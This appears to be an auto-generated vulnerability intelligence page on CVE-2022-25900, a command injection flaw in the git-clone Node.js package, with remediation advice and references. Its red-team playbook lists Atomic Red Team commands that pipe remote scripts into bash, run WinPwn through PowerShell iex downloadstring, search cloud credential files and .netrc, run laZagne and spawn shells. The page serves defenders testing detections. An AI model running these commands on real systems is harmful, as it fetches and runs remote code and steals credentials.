CVE-2022-25900
Overview
The vulnerability is a command injection flaw rooted in improper handling of user input within the git-clone package. Specifically, the insecure usage of the --upload-pack feature in the git command allows untrusted input to be executed as shell commands. This affects all versions of the git-clone package, particularly in the Node.js environment where the package interfaces with git operations.
Vulnerability Description
All versions of package git-clone are vulnerable to Command Injection due to insecure usage of the --upload-pack feature of git.
Impact
An unauthenticated remote attacker can execute arbitrary commands on the host system by exploiting this command injection vulnerability, leveraging network access to supply crafted input to the --upload-pack parameter. This can lead to full compromise of the affected system, including data theft, service disruption, or lateral movement within the network. The CVSS vector (AV:N/AC:H/PR:N/UI:N) indicates no privileges or user interaction are required, but high attack complexity limits exploitability to skilled attackers with network access.
Solution
Users should upgrade the git-clone package to a version that addresses this vulnerability as per the Snyk advisory SNYK-JS-GITCLONE-2434308. The advisory provides specific version updates and patch details. Until a fixed version is applied, avoid using the --upload-pack feature or sanitize inputs rigorously to prevent injection. Refer to https://snyk.io/vuln/SNYK-JS-GITCLONE-2434308 for comprehensive remediation instructions and version information.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the git-clone package arises from an insecure implementation of the --upload-pack feature, which allows for command injection attacks. This occurs when user-supplied input is not properly sanitized before being executed as part of a command. Attackers can exploit this flaw by crafting malicious input that gets executed on the server, potentially leading to unauthorized access, data manipulation, or even complete system compromise. The command injection vulnerability is particularly concerning because it can be triggered through seemingly benign operations, allowing attackers to execute arbitrary commands with the privileges of the affected application.
Various attack vectors can be utilized to exploit this vulnerability. For instance, an attacker could manipulate the input parameters during a git clone operation to inject malicious commands. This could be done through a compromised repository or by tricking a user into executing a clone command that points to a malicious source. Once the command is executed, the attacker can gain control over the environment, leading to further exploitation such as data exfiltration, installation of malware, or lateral movement within the network. The ease of exploitation combined with the potential for significant damage makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be severe, especially for organizations that rely heavily on version control systems for their software development processes. A successful exploitation could lead to unauthorized access to sensitive source code, intellectual property theft, or even the introduction of backdoors into production systems. The business risks associated with such incidents include financial losses, reputational damage, and potential legal ramifications due to data breaches. Organizations may also face operational disruptions as they scramble to mitigate the effects of an attack, further compounding the overall impact.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the git-clone package to the latest version is crucial, as patches may address known vulnerabilities. Additionally, employing input validation and sanitization techniques can help prevent malicious commands from being executed. Monitoring and logging git operations can also provide insights into suspicious activities, allowing for timely response to potential exploitation attempts. Furthermore, educating developers and users about secure coding practices and the risks associated with command injection can foster a culture of security awareness within the organization.
In conclusion, the command injection vulnerability in the git-clone package represents a significant threat to organizations utilizing this tool. The ease of exploitation and the potential for severe consequences necessitate immediate attention from cybersecurity professionals. By implementing robust detection and mitigation strategies, organizations can reduce their risk exposure and safeguard their critical assets against this and similar vulnerabilities. The ongoing vigilance and proactive security measures are essential to maintaining a secure development environment in an increasingly complex threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Git-Clone Project | Git-Clone | All |
cpe:2.3:a:git-clone_project:git-clone:*:*:*:*:*:node.js:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-25900 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-JS-GITCLONE-2434308 |
| gist.github.com |
GitHub CVE
x_refsource_MISC
|
https://gist.github.com/lirantal/9441f3a1212728476f7a6caa4acb2ccc |